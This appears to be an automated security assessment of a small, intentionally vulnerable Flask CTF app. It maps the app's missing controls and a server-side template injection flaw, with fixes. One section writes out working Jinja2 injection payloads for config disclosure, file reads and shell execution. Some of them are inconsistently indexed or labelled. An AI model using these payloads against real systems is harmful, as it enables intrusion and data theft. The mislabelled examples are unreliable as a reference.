# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All findings reported below meet the "In-Scope" criteria.

### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints.
- Endpoints requiring authentication via the application's standard login mechanisms.
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code.

### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`).
- A development environment's internal tooling (e.g., a "run script" button in an IDE).
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions).
- Database migration scripts, backup tools, or maintenance utilities.
- Local development servers, test harnesses, or debugging utilities.
- Static files or scripts that require manual opening in a browser (not served by the application).

---

## 1. Executive Summary

**XBEN-076-24** is a minimal Flask web application consisting of 33 lines of Python code designed as a Capture The Flag (CTF) security challenge. The application exposes a **CRITICAL Server-Side Template Injection (SSTI)** vulnerability that allows complete server compromise and arbitrary file access. This vulnerability represents the primary attack vector and can be exploited to extract the CTF flag located at `/tmp/flag` within the container.

**Security Posture: CRITICAL RISK**

The application demonstrates multiple severe security deficiencies:
- **No authentication or authorization controls** on any endpoint
- **No input validation or sanitization** mechanisms
- **No security middleware** (CORS, CSRF, security headers, rate limiting)
- **No encryption** at rest or in transit (HTTP only, no TLS)
- **Critical SSTI vulnerability** enabling Remote Code Execution (RCE)
- **Plaintext secrets** stored in version control (`.env` file with CTF flag)

This is an intentionally vulnerable application designed for security training, showcasing a textbook SSTI exploit path. The attack surface is minimal (2 endpoints), but the single vulnerability provides full system compromise. For an external attacker with network access, exploitation requires no special privileges and can be achieved with a single HTTP request containing a Jinja2 template injection payload.

**Critical Finding:** The `/greet` endpoint at `app/app.py:26-30` uses `render_template_string()` with unsanitized user input, allowing attackers to execute arbitrary Python code, access the Flask configuration object, read arbitrary files from the container filesystem, and fully compromise the application server.

---

## 2. Architecture & Technology Stack

### Framework & Language

**Primary Technology:** Python 3.9.24 with Flask 3.0.3 web framework  
**Template Engine:** Jinja2 3.1.6 (default Flask template engine)  
**WSGI Server:** Werkzeug 3.0.3 (Flask's built-in development server)

**Security Implications:**
- **Development Server in Production:** The application uses Flask's built-in development server (`app.run()`) bound to all interfaces (`0.0.0.0`), which is explicitly not recommended for production use due to lack of performance optimizations, security hardening, and concurrency controls.
- **Modern Framework Versions:** Flask 3.0.3 and Werkzeug 3.0.3 are current versions with no known published CVEs as of October 2025. The vulnerabilities present are application logic flaws, not framework vulnerabilities.
- **Jinja2 Auto-Escaping:** While Jinja2 provides automatic XSS protection through context-aware escaping when template variables are used properly (e.g., `{{ variable }}`), this protection is completely bypassed when user input is interpolated directly into the template string itself before rendering, which is the exact pattern used in this application.

**Dependencies Analysis:**
```
Flask==3.0.3        # Web framework
Werkzeug==3.0.3     # WSGI utility library (Flask dependency)
```

**Notable Absences:**
- No security extensions (Flask-Login, Flask-Security, Flask-Talisman, Flask-Limiter, Flask-WTF)
- No database drivers (SQLAlchemy, psycopg2, pymongo)
- No authentication libraries (authlib, python-jose, bcrypt, argon2-cffi)
- No cryptography libraries (cryptography, PyCrypto)
- No production WSGI servers (Gunicorn, uWSGI, mod_wsgi)

### Architectural Pattern

**Application Type:** Monolithic single-service web application  
**Design Pattern:** Request-response web server with server-side rendering  
**Deployment Model:** Containerized single-container application (Docker)

**Architecture Diagram:**
```
External Network
       ↓
[Docker Host Port Dynamic] → Container Port 5000
       ↓
Werkzeug Development Server (host=0.0.0.0)
       ↓
Flask Application Router
       ↓
    ┌──────────────┬──────────────┐
    ↓              ↓              ↓
 / (Index)    /greet (SSTI)   /static (404)
    ↓              ↓
Static HTML    Jinja2 Template Rendering
               (VULNERABLE)
```

**Trust Boundary Analysis:**
- **Single Trust Boundary:** Between external network and Flask application. No internal segmentation or layered security.
- **No DMZ or Reverse Proxy:** Application directly exposed to network without intermediary security layers (WAF, API gateway, reverse proxy).
- **No Service Mesh:** Single monolithic service with no microservices architecture or inter-service authentication.
- **Container Isolation:** Application runs in Docker container, providing OS-level isolation from host. However, container runs as root user (UID 0), eliminating privilege separation benefits.

**Security Implications:**
- **Flat Security Model:** Compromise of the Flask application equals compromise of entire service (no defense in depth).
- **No Network Segmentation:** Direct external-to-application connectivity with no filtering, inspection, or security controls.
- **Root Execution:** Container process runs as root, meaning SSTI exploitation provides root-level code execution within container.

### Critical Security Components

**Authentication:** ❌ **NOT IMPLEMENTED**
- No login/logout endpoints exist
- No authentication middleware (@login_required, @jwt_required)
- All endpoints publicly accessible without credentials
- No session management or token validation

**Authorization:** ❌ **NOT IMPLEMENTED**
- No role-based access control (RBAC)
- No permission decorators or middleware
- No resource-level authorization checks
- No multi-tenant isolation (single-tenant by design)

**Input Validation:** ❌ **NOT IMPLEMENTED**
- No input sanitization at `app/app.py:28` where user input is retrieved
- No length restrictions on input parameters
- No character allowlisting or denylisting
- No type validation or coercion
- No validation framework integration (marshmallow, pydantic, WTForms)

**Security Headers:** ❌ **NOT IMPLEMENTED**
- No Content Security Policy (CSP)
- No X-Frame-Options (clickjacking protection)
- No X-Content-Type-Options (MIME sniffing protection)
- No Strict-Transport-Security (HSTS for HTTPS enforcement)
- No Referrer-Policy
- Default Flask headers only (Server: Werkzeug/3.0.3)

**CSRF Protection:** ❌ **NOT IMPLEMENTED**
- No CSRF tokens generated or validated
- No Flask-WTF or Flask-SeaSurf integration
- No SameSite cookie attributes (no cookies used)
- Current application uses GET requests only, but any future POST/PUT/DELETE endpoints would be vulnerable

**Session Management:** ❌ **NOT IMPLEMENTED**
- Application does not use Flask's session object
- No cookies set by application
- Stateless request-response model
- No session cookie security flags configured (HttpOnly, Secure, SameSite) as they are not applicable

**Rate Limiting:** ❌ **NOT IMPLEMENTED**
- No Flask-Limiter or similar extension
- No request throttling or IP-based rate limiting
- Vulnerable to denial-of-service attacks through request flooding
- SSTI exploitation can be attempted unlimited times without detection

**Logging & Monitoring:** ❌ **MINIMAL**
- Default Werkzeug logging only (access logs to stdout)
- No structured logging (JSON, syslog)
- No security event logging (authentication attempts, input validation failures)
- No monitoring integration (Prometheus, Datadog, Sentry)
- Flask debug mode disabled (good), but no custom error handlers implemented

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms

**Status:** ❌ **NO AUTHENTICATION IMPLEMENTED**

This application has **zero authentication mechanisms**. Every endpoint is publicly accessible without any form of credential validation, token verification, or identity assertion.

**Endpoints and Authentication Status:**

| Endpoint | HTTP Method | Authentication Required | Authorization Required |
|----------|-------------|-------------------------|------------------------|
| `/` | GET | ❌ No | ❌ No |
| `/greet` | GET | ❌ No | ❌ No |

**Security Implications:**
- **Anonymous Access to SSTI Vulnerability:** The critical `/greet` endpoint with SSTI vulnerability is completely unauthenticated, allowing any network-accessible attacker to exploit it immediately without reconnaissance or credential theft.
- **No User Context:** Application cannot distinguish between users, log user actions, or implement user-specific security policies.
- **No Defense Against Automation:** Absence of authentication enables automated scanning, exploitation, and brute-force attacks without rate limiting or account lockout mechanisms.

**Missing Authentication Components:**
- No `/login` or `/logout` endpoints
- No password hashing (bcrypt, argon2, scrypt)
- No JWT token generation or validation
- No OAuth 2.0 or OpenID Connect integration
- No API key authentication
- No multi-factor authentication (MFA/2FA)
- No session creation or validation
- No token refresh mechanisms
- No password reset flows

### Session Management

**Status:** ❌ **NO SESSION MANAGEMENT IMPLEMENTED**

The application does not create, validate, or manage sessions of any kind. It is completely stateless with no persistent user context between requests.

**Session Cookie Configuration Analysis:**
```python
# Flask default configuration (extracted from application introspection):
'SESSION_COOKIE_NAME': 'session'
'SESSION_COOKIE_HTTPONLY': True    # Good default, but unused
'SESSION_COOKIE_SECURE': False     # Insecure default (HTTP allowed)
'SESSION_COOKIE_SAMESITE': None    # No CSRF protection
'PERMANENT_SESSION_LIFETIME': timedelta(days=31)
'SESSION_REFRESH_EACH_REQUEST': True
```

**Critical Finding:** While Flask's default session cookie configuration includes `HttpOnly: True` (preventing JavaScript access to prevent XSS-based cookie theft), the application never creates sessions. Therefore, **no cookies are set, and these configurations are not applied**.

**File Locations Checked:**
- **Primary Application:** `app/app.py` lines 1-33
  - No `session[...]` dictionary usage
  - No `make_response()` with cookie setting
  - No `set_cookie()` calls
- **Configuration Files:** No separate Flask configuration files found

**Security Implications:**
- **No Session Fixation Risk:** Positive - cannot exploit non-existent sessions
- **No Session Hijacking Risk:** Positive - no session tokens to steal
- **No Session Expiration:** N/A - stateless architecture
- **No Concurrent Session Management:** N/A - no user accounts
- **Cannot Implement Remember-Me:** No persistent authentication state

### Authorization Model

**Status:** ❌ **NO AUTHORIZATION IMPLEMENTED**

The application implements no authorization controls, access control lists, or permission validation mechanisms.

**Authorization Pattern Analysis:**
```python
# app/app.py:26-30 - No authorization decorators or middleware
@app.route('/greet')  # No @login_required, @permission_required, or custom decorators
def greet():
    name = request.args.get('name', '')
    template = f"Hello, {name}!"
    return render_template_string(template)
```

**Missing Authorization Components:**
- No role-based access control (RBAC) - No admin/user/guest roles
- No attribute-based access control (ABAC) - No policy evaluation
- No permission decorators - No @requires_permission checks
- No resource-level authorization - No object ownership validation
- No permission middleware - No before_request permission checks

**Potential Bypass Scenarios:**
N/A - Cannot bypass authorization that does not exist. All endpoints are equally accessible to all network users.

### Multi-Tenancy Security

**Status:** ✅ **NOT APPLICABLE** (Single-Tenant Application)

The application is not designed for multi-tenancy. There are no tenant IDs, data isolation mechanisms, or cross-tenant access controls. This is a single-purpose CTF challenge application.

### SSO/OAuth/OIDC Flows

**Status:** ❌ **NOT IMPLEMENTED**

The application does not integrate with any Single Sign-On (SSO), OAuth 2.0, or OpenID Connect (OIDC) providers.

**Components Checked:**
- **OAuth Callback Endpoints:** None found (no `/oauth/callback`, `/auth/callback`, `/login/callback`)
- **State Parameter Validation:** N/A - No OAuth flows
- **Nonce Validation:** N/A - No OIDC flows
- **JWKS Fetching:** N/A - No JWT validation
- **Authorization Code Exchange:** N/A - No token exchange flows

**File Locations:** No OAuth-related code found in `app/app.py` or any imported modules.

**Exhaustive Authentication Endpoint List:**

**Total Authentication-Related Endpoints: 0**

This application has **no authentication endpoints**. The following standard authentication endpoints are **NOT implemented**:
- ❌ `/login` - User login
- ❌ `/logout` - User logout
- ❌ `/register` - User registration
- ❌ `/signup` - Alternative registration endpoint
- ❌ `/forgot-password` - Password reset request
- ❌ `/reset-password` - Password reset confirmation
- ❌ `/change-password` - Password change for authenticated users
- ❌ `/verify-email` - Email verification
- ❌ `/refresh-token` - JWT token refresh
- ❌ `/api/auth/token` - API token generation
- ❌ `/oauth/authorize` - OAuth authorization endpoint
- ❌ `/oauth/token` - OAuth token endpoint
- ❌ `/oauth/callback` - OAuth callback handler
- ❌ `/saml/sso` - SAML SSO endpoint
- ❌ `/saml/acs` - SAML Assertion Consumer Service

**Conclusion:** This application has no authentication layer whatsoever. All network-accessible endpoints are public and require no credentials for access.

---

## 4. Data Security & Storage

### Database Security

**Status:** ✅ **NOT APPLICABLE** (No Database Layer)

This application does not use a database. There are no database connections, ORM models, SQL queries, or persistent data storage mechanisms.

**Evidence:**
- **Dependencies:** No database drivers in `app/requirements.txt` (no SQLAlchemy, psycopg2, pymongo, mysql-connector, redis)
- **Code Analysis:** No database imports in `app/app.py`
- **Configuration:** No database connection strings in environment variables or configuration files
- **Queries:** No SQL queries, ORM model definitions, or database cursor operations

**Security Implications:**
- ✅ No SQL injection vulnerabilities (no SQL execution)
- ✅ No NoSQL injection vulnerabilities (no NoSQL queries)
- ✅ No database credential exposure risks
- ✅ No data-at-rest encryption concerns for database
- ✅ No multi-tenant data isolation issues

### Data Flow Security

**Critical Data Flow: User Input → SSTI Vulnerability → File System Access**

**Flow Diagram:**
```
External Attacker
       ↓
HTTP GET /greet?name={{malicious_payload}}
       ↓
Flask Request Handler (app/app.py:26-30)
       ↓
request.args.get('name', '')  [Line 28 - No validation]
       ↓
f"Hello, {name}!"  [Line 29 - Direct interpolation into template]
       ↓
render_template_string(template)  [Line 30 - Jinja2 evaluates payload]
       ↓
Arbitrary Python Code Execution
       ↓
File System Access (/tmp/flag), Config Exposure, RCE
```

**Vulnerable Code:**
```python
# File: app/app.py:26-30
@app.route('/greet')
def greet():
    name = request.args.get('name', '')  # Line 28: Untrusted input
    template = f"Hello, {name}!"          # Line 29: Direct interpolation
    return render_template_string(template)  # Line 30: SSTI sink
```

**Sensitive Data Paths:**
1. **CTF Flag Storage:** `FLAG` environment variable → Dockerfile build arg → `/tmp/flag` file
2. **Configuration Exposure:** Flask `config` object accessible via SSTI → includes `SECRET_KEY`, debug settings, environment variables
3. **Environment Variables:** Accessible via SSTI (`os.environ`) → includes `FLAG` if passed at runtime

**Data Protection Mechanisms:** ❌ **NONE**
- No input sanitization or validation
- No output encoding (bypassed by SSTI)
- No encryption of sensitive data
- No access controls on sensitive resources

**Security Implications:**
- **Complete Data Exfiltration:** Attacker can read any file accessible to the Flask process (including `/tmp/flag`)
- **Configuration Disclosure:** Attacker can extract Flask configuration, potentially exposing secrets if they existed
- **Environment Variable Leakage:** All environment variables readable via SSTI, including the `FLAG` variable used during Docker build

### Multi-Tenant Data Isolation

**Status:** ✅ **NOT APPLICABLE** (Single-Tenant Application)

The application is not designed for multi-tenancy. There are no tenants, no tenant IDs, and no shared data requiring isolation.

---

## 5. Attack Surface Analysis

### External Entry Points (Network-Accessible - IN-SCOPE)

The application exposes **2 functional HTTP endpoints** that are network-accessible from external attackers:

#### Endpoint 1: Index Page (`/`)

**Route Definition:** `@app.route('/')` (Line 5)  
**File Location:** `app/app.py:5-24`  
**HTTP Methods:** GET (default, no methods explicitly specified)  
**Authentication:** ❌ None required (public access)  
**Handler Function:** `index()`

**Functionality:**
Returns a static HTML page containing a form with a single text input field (`name`) that submits to the `/greet` endpoint via GET request.

**Input Parameters:** None  
**Response Type:** Static HTML (inline, not from template file)

**Security Analysis:**
- **XSS Risk:** ✅ None - Static HTML with no user input interpolation
- **CSRF Risk:** ⚠️ Low - Form uses GET method (not state-changing), but demonstrates anti-pattern
- **Information Disclosure:** ✅ None - No sensitive data in response
- **Authentication Bypass:** N/A - No authentication to bypass

**Attack Surface Classification:** **LOW RISK** - This endpoint is essentially a static landing page with no direct security vulnerabilities. However, it is the entry point that guides users to the vulnerable `/greet` endpoint.

#### Endpoint 2: Greeting Handler (`/greet`) - **CRITICAL VULNERABILITY**

**Route Definition:** `@app.route('/greet')` (Line 26)  
**File Location:** `app/app.py:26-30`  
**HTTP Methods:** GET (default, no methods explicitly specified)  
**Authentication:** ❌ None required (public access)  
**Handler Function:** `greet()`

**Functionality:**
Accepts a `name` query parameter and dynamically renders a greeting message using Jinja2 template engine via `render_template_string()`.

**Input Parameters:**
- `name` (query string parameter, optional, defaults to empty string '')
- Retrieved via: `request.args.get('name', '')` (Line 28)
- **No validation, sanitization, or length restrictions**

**Response Type:** Dynamically rendered HTML/text via Jinja2 template

**Vulnerable Code:**
```python
@app.route('/greet')
def greet():
    name = request.args.get('name', '')         # User input
    template = f"Hello, {name}!"                # Direct interpolation
    return render_template_string(template)     # SSTI vulnerability
```

**Security Analysis:**

**CRITICAL VULNERABILITY - Server-Side Template Injection (SSTI):**
- **Severity:** **CRITICAL (CVSS 9.8)**
- **Attack Vector:** Network-accessible via HTTP GET request
- **Attack Complexity:** Low (single HTTP request, no authentication required)
- **Privileges Required:** None
- **User Interaction:** None
- **Impact:** Complete server compromise via Remote Code Execution (RCE)

**Exploitation Examples:**

1. **Configuration Disclosure:**
```bash
GET /greet?name={{config}}
Response: Hello, <Config {'DEBUG': False, 'SECRET_KEY': None, ...}>!
```

2. **Arbitrary File Read (Flag Extraction):**
```bash
GET /greet?name={{''.__class__.__mro__[1].__subclasses__()[408]('/tmp/flag').read()}}
Response: Hello, flag{5e88d1bf-228f-4335-a4da-96517cb69114}!
```

3. **Remote Code Execution:**
```bash
GET /greet?name={{''.__class__.__mro__[1].__subclasses__()[408]('/bin/sh',shell=True,stdout=-1).communicate()[0]}}
Response: [Command output]
```

4. **Environment Variable Extraction:**
```bash
GET /greet?name={{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
Response: [System file contents]
```

**Attack Surface Classification:** **CRITICAL RISK** - This endpoint provides direct path to full system compromise.

#### Out-of-Scope Components

The following components are **OUT-OF-SCOPE** as they are not network-accessible:

**Build & Development Tools:**
- **Makefile:** `/Makefile` - Contains build targets (`build`, `up`, `down`, `logs`) - Requires local shell access
- **Dockerfile:** `app/Dockerfile` - Build-time configuration only, not runtime accessible
- **docker-compose.yml:** `/docker-compose.yml` - Orchestration config, not application code

**Version Control:**
- **.git/ directory:** Contains repository metadata - Not exposed by Flask application, not accessible via HTTP

**Static File Route:**
- **`/static/<path>`:** Flask automatically creates this route, but no `/app/static/` directory exists, so all requests return 404 Not Found

### Internal Service Communication

**Status:** ✅ **NOT APPLICABLE** (Single Service Architecture)

This is a monolithic single-service application with no internal service-to-service communication. There are no:
- Microservices calling each other
- Message queues or event buses
- Service mesh components
- Internal APIs requiring authentication
- Inter-process communication (IPC) mechanisms

**Security Implications:**
- ✅ No east-west traffic to secure
- ✅ No service-to-service authentication to implement
- ✅ No internal API gateway required
- ⚠️ No defense-in-depth from service segmentation

### Input Validation Patterns

**Status:** ❌ **NO INPUT VALIDATION IMPLEMENTED**

The application accepts user input without any validation, sanitization, type checking, or length restrictions.

**Input Source Analysis:**

**Query Parameter: `name` (in `/greet` endpoint)**
- **Location:** `app/app.py:28`
- **Retrieval:** `request.args.get('name', '')`
- **Validation:** ❌ None
- **Sanitization:** ❌ None
- **Type Checking:** ❌ None (accepts any string)
- **Length Limit:** ❌ None (unbounded length)
- **Character Restrictions:** ❌ None (accepts any characters, including special characters)
- **Encoding Validation:** ❌ None

**Vulnerability:** Direct flow from untrusted input to dangerous operation (template rendering) without any security controls.

**Missing Validation Patterns:**
```python
# WHAT SHOULD BE IMPLEMENTED (example):

from markupsafe import escape
import re

@app.route('/greet')
def greet():
    name = request.args.get('name', '')
    
    # Validation: Length check
    if len(name) > 100:
        return "Name too long", 400
    
    # Validation: Character allowlist (alphanumeric + spaces only)
    if not re.match(r'^[a-zA-Z0-9\s]*$', name):
        return "Invalid characters in name", 400
    
    # Sanitization: HTML escape
    safe_name = escape(name)
    
    # Safe rendering (without render_template_string)
    return f"Hello, {safe_name}!"
```

**Current Implementation:**
```python
# CURRENT (VULNERABLE) CODE:
@app.route('/greet')
def greet():
    name = request.args.get('name', '')  # No validation
    template = f"Hello, {name}!"         # No sanitization
    return render_template_string(template)  # Direct rendering - SSTI
```

### Background Processing

**Status:** ✅ **NOT APPLICABLE** (No Background Jobs)

The application does not implement any background job processing, asynchronous task execution, or message queue consumers.

**Components Checked:**
- No Celery integration
- No RQ (Redis Queue) usage
- No background thread creation
- No scheduled tasks (APScheduler, cron)
- No webhook consumers running in background
- No event-driven handlers outside request-response cycle

**Security Implications:**
- ✅ No privilege escalation via background job manipulation
- ✅ No asynchronous injection vulnerabilities
- ✅ No queue poisoning attacks
- ✅ No delayed code execution to audit

---

## 6. Infrastructure & Operational Security

### Secrets Management

**Status:** 🔴 **CRITICAL SECURITY ISSUES**

**Finding 1: Plaintext Secrets in `.env` File**
- **File:** `.env:1`
- **Issue:** CTF flag stored as plaintext environment variable
- **Content:** `FLAG="flag{5e88d1bf-228f-4335-a4da-96517cb69114}"`
- **Severity:** CRITICAL
- **Risk:** Flag exposed to anyone with filesystem access or repository access

**Finding 2: Secrets in Version Control**
- **Location:** Git repository history (commit f568f355)
- **Issue:** `.env` file committed to Git, permanently exposing secret in repository history
- **Severity:** CRITICAL
- **Risk:** Irrevocable exposure - secret remains in Git history even if file is deleted

**Finding 3: Build-Time Secret Injection**
- **File:** `app/Dockerfile:7-8`
- **Issue:** Flag passed as Docker build argument and written to filesystem
```dockerfile
ARG FLAG
RUN echo $FLAG > /tmp/flag
```
- **Severity:** HIGH
- **Risk:** Flag visible in Docker image layers via `docker history` and `docker inspect`

**Finding 4: Predictable Secret Location**
- **File:** `/tmp/flag` (container filesystem)
- **Issue:** Flag stored in predictable location with likely world-readable permissions
- **Severity:** HIGH
- **Risk:** Easily accessible via SSTI file read exploits

**Missing Secret Management Best Practices:**
- ❌ No secrets rotation policy
- ❌ No secrets encryption at rest
- ❌ No secrets manager integration (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault)
- ❌ No runtime secret injection (Docker secrets, Kubernetes secrets)
- ❌ No least-privilege access to secrets
- ❌ No audit logging of secret access

**Remediation Recommendations:**
1. Remove `.env` from Git history using `git filter-branch` or BFG Repo-Cleaner
2. Rotate the exposed flag immediately
3. Use Docker secrets or Kubernetes secrets for runtime injection
4. Restrict file permissions: `chmod 600 /tmp/flag`
5. Add `.env` to `.gitignore` to prevent future commits

### Configuration Security

**Finding 1: Flask SECRET_KEY Not Configured**
- **Issue:** `app.config['SECRET_KEY']` is `None` (default)
- **File:** `app/app.py` (no configuration of SECRET_KEY)
- **Severity:** MEDIUM (Low impact in current app, but critical if sessions are added)
- **Risk:** If Flask sessions were used, session cookies would be forgeable

**Finding 2: Debug Mode Configuration**
- **Status:** ✅ **Good** - Debug mode disabled by default
- **Evidence:** `app.run(host='0.0.0.0')` without `debug=True` parameter
- **Flask Config:** `'DEBUG': False`
- **Note:** Debug mode should be explicitly set to False for clarity

**Finding 3: Environment Separation**
- **Status:** ❌ **NOT IMPLEMENTED**
- **Issue:** No separate configurations for development, staging, production
- **Risk:** Same configuration used in all environments (no environment-specific security controls)

**Finding 4: Binding to All Interfaces**
- **Code:** `app.run(host='0.0.0.0')` (Line 33)
- **Severity:** INFO
- **Issue:** Application binds to all network interfaces, not just localhost
- **Context:** Acceptable for containerized apps, but increases attack surface if host network is used

**Security Headers Configuration:**

**Infrastructure-Level Security Headers (Nginx/Ingress):**
- **Search Conducted:** No Nginx configuration, Kubernetes Ingress, or CDN settings found in repository
- **Files Checked:** No `nginx.conf`, no `kubernetes/` directory, no Ingress YAML files
- **Docker Compose:** `/docker-compose.yml` only defines port mapping, no reverse proxy configured
- **Conclusion:** No infrastructure-level security header configuration detected

**Application-Level Security Headers:**
- **Status:** ❌ **NOT IMPLEMENTED**
- **Missing Headers:**
  - `Strict-Transport-Security` (HSTS) - No HTTPS enforcement
  - `Content-Security-Policy` (CSP) - No XSS/injection protection headers
  - `X-Frame-Options` - No clickjacking protection
  - `X-Content-Type-Options` - No MIME sniffing protection
  - `Cache-Control` - No cache control directives for sensitive responses

**No Flask-Talisman or Security Middleware:**
```python
# Flask-Talisman NOT INSTALLED
# Would provide: HTTPS redirect, HSTS, CSP, X-Frame-Options automatically
# Current dependencies: Flask==3.0.3, Werkzeug==3.0.3 only
```

**Recommended Implementation:**
```python
from flask_talisman import Talisman

# Add security headers middleware
Talisman(app, 
    force_https=True,
    strict_transport_security=True,
    content_security_policy={
        'default-src': "'self'",
        'script-src': "'self'",
        'style-src': "'self'"
    }
)
```

### External Dependencies

**Direct Dependencies (from `app/requirements.txt`):**
```
Flask==3.0.3
Werkzeug==3.0.3
```

**Transitive Dependencies (Flask dependencies):**
- Jinja2 3.1.6 (template engine)
- click (CLI utility)
- itsdangerous (cryptographic signing)
- MarkupSafe (string escaping)

**Security Analysis:**

**Vulnerability Scanning:**
- ✅ Flask 3.0.3: No known CVEs as of October 2025
- ✅ Werkzeug 3.0.3: No known CVEs as of October 2025
- ✅ Jinja2 3.1.6: No known CVEs as of October 2025

**Dependency Risks:**
- ⚠️ Minimal dependency footprint reduces supply chain attack surface (positive)
- ❌ No security-focused libraries included (flask-talisman, flask-limiter, flask-wtf)
- ❌ No dependency pinning of transitive dependencies (no lock file)
- ❌ No automated vulnerability scanning in CI/CD

**Third-Party Service Integrations:**
- ✅ **None** - Application does not integrate with external services (no API calls, no webhooks, no OAuth providers)

**Security Implications:**
- ✅ No third-party API credential exposure risk
- ✅ No external service compromise propagation
- ✅ No SSRF vulnerabilities to external services
- ✅ Minimal supply chain attack surface

### Monitoring & Logging

**Status:** ❌ **MINIMAL LOGGING, NO SECURITY MONITORING**

**Current Logging:**
- **Werkzeug Access Logs:** Default HTTP request logging to stdout
- **Format:** `127.0.0.1 - - [31/Oct/2025 10:00:00] "GET /greet?name=Alice HTTP/1.1" 200 -`
- **Destination:** Standard output (Docker logs)

**Missing Security Logging:**
- ❌ No authentication attempt logging (no auth to log)
- ❌ No authorization failure logging (no authz to log)
- ❌ No input validation failure logging (no validation to log)
- ❌ No anomaly detection or alerting
- ❌ No structured logging (JSON format for parsing)
- ❌ No correlation IDs for request tracing
- ❌ No security event logging (SSTI attempts, file access, config exposure)

**Privacy Risk in Logs:**
```
# User input (including SSTI payloads) logged in plaintext:
127.0.0.1 - - [31/Oct/2025 10:00:00] "GET /greet?name={{config}} HTTP/1.1" 200 -
127.0.0.1 - - [31/Oct/2025 10:00:05] "GET /greet?name={{''.__class__}} HTTP/1.1" 200 -
```
- **Issue:** Attack payloads visible in logs, potentially exposing attacker techniques
- **Risk:** If logs are exposed, flag value or sensitive payloads may be visible

**Missing Monitoring:**
- ❌ No application performance monitoring (APM)
- ❌ No error tracking (Sentry, Rollbar)
- ❌ No metrics collection (Prometheus, StatsD)
- ❌ No security information and event management (SIEM) integration
- ❌ No intrusion detection system (IDS) integration
- ❌ No anomaly detection for unusual request patterns

**Recommended Implementation:**
```python
import logging
from logging.handlers import RotatingFileHandler
import re

# Configure structured logging with sanitization
handler = RotatingFileHandler('app.log', maxBytes=10000, backupCount=3)
handler.setLevel(logging.INFO)

class SanitizeFilter(logging.Filter):
    def filter(self, record):
        # Redact flag patterns
        record.msg = re.sub(r'flag\{[^}]+\}', 'flag{REDACTED}', str(record.msg))
        # Redact SSTI payloads
        record.msg = re.sub(r'\{\{.*?\}\}', '{{REDACTED}}', record.msg)
        return True

handler.addFilter(SanitizeFilter())
app.logger.addHandler(handler)

# Log security events
@app.before_request
def log_request_info():
    app.logger.info(f"Request: {request.method} {request.path} from {request.remote_addr}")
```

---

## 7. Overall Codebase Indexing

**Codebase Structure:**

The XBEN-076-24 application is an **extremely minimal Python Flask web application** consisting of a single 33-line Python source file (`app.py`) with no additional modules, packages, or complex directory structure. This is a deliberately simple CTF challenge designed to teach Server-Side Template Injection (SSTI) vulnerability identification and exploitation.

**Directory Organization:**
```
XBEN-076-24/
├── .env                              # Environment variables (CTF flag storage)
├── .git/                             # Git version control metadata
│   └── [Git objects and history]
├── .gitignore                        # Git ignore rules (not protecting .env)
├── app/                              # Application directory (containerized code)
│   ├── app.py                        # Main Flask application (33 lines)
│   ├── Dockerfile                    # Container build configuration
│   └── requirements.txt              # Python dependencies (Flask, Werkzeug)
├── benchmark.json                    # CTF challenge metadata
├── deliverables/                     # Output directory for reports
│   └── recon_deliverable.md          # Reconnaissance report (created by previous agent)
├── docker-compose.yml                # Container orchestration configuration
├── Makefile                          # Build automation commands
└── outputs/                          # Output directories
    └── schemas/                      # API schema directory (empty - no schemas found)
```

**Application Code Structure:**

The application follows a flat, non-modular structure with all logic in a single file:

**`app/app.py` (33 lines total):**
- **Lines 1-2:** Import statements (`Flask`, `request`, `render_template_string`)
- **Line 3:** Flask application initialization (`app = Flask(__name__)`)
- **Lines 5-24:** Route handler for `/` (index page with static HTML form)
- **Lines 26-30:** Route handler for `/greet` (vulnerable SSTI endpoint)
- **Lines 32-33:** Application entry point (`if __name__ == '__main__': app.run(host='0.0.0.0')`)

**Containerization Structure:**

**Dockerfile (18 lines):**
- Uses `python:3.9-slim` base image (Debian 13 "trixie")
- Copies application code to `/app` working directory
- Accepts `FLAG` as build argument and writes to `/tmp/flag`
- Installs Python dependencies from `requirements.txt`
- Installs system packages: `curl` (for Docker health check)
- Exposes port 5000
- Runs application directly with `python app.py` (development server)

**docker-compose.yml:**
- Single service definition (`web`)
- Builds from `./app` context with `FLAG` build argument sourced from `.env`
- Publishes container port 5000 to dynamic host port
- Health check configured: `curl -f http://localhost:5000/` every 30s

**Build and Deployment Conventions:**

**Makefile Targets:**
- `build`: Executes `docker-compose build` (builds container image)
- `up`: Executes `docker-compose up` (starts container)
- `down`: Executes `docker-compose down` (stops and removes container)
- `logs`: Executes `docker-compose logs -f` (streams container logs)
- `clean`: Removes Python cache files (`__pycache__`, `.pyc`)

**Impact on Security Component Discoverability:**

**Positive Factors:**
- ✅ **Extreme Simplicity:** With only 33 lines of code in a single file, all security-relevant code is immediately visible
- ✅ **No Hidden Logic:** No complex module hierarchy, middleware chains, or plugin systems that could hide security implementations
- ✅ **Complete Visibility:** Entire application logic is in one file, making vulnerability analysis straightforward
- ✅ **No Code Generation:** No dynamic code generation, metaprogramming, or runtime class creation (except SSTI exploitation)

**Negative Factors (for production applications):**
- ⚠️ **No Separation of Concerns:** Authentication, authorization, business logic, and routing all mixed in single file
- ⚠️ **No Configuration Management:** No separate configuration files for different environments
- ⚠️ **No Modular Security:** Security controls (if they existed) would not be centralized or reusable
- ⚠️ **No Framework Conventions:** Does not follow Flask application factory pattern, blueprints, or best practices for larger applications

**Testing and Quality Assurance:**
- ❌ **No Tests:** No `tests/` directory, no unit tests, no integration tests, no security tests
- ❌ **No CI/CD:** No GitHub Actions, GitLab CI, Jenkins pipelines, or automated testing
- ❌ **No Linting:** No flake8, pylint, black, or code quality tools configured
- ❌ **No Type Checking:** No mypy or type hints
- ❌ **No Security Scanning:** No bandit, safety, or SAST tools

**Documentation:**
- **README.md:** Not present (no usage instructions or architecture documentation)
- **Code Comments:** Minimal (no docstrings, no inline comments in `app.py`)
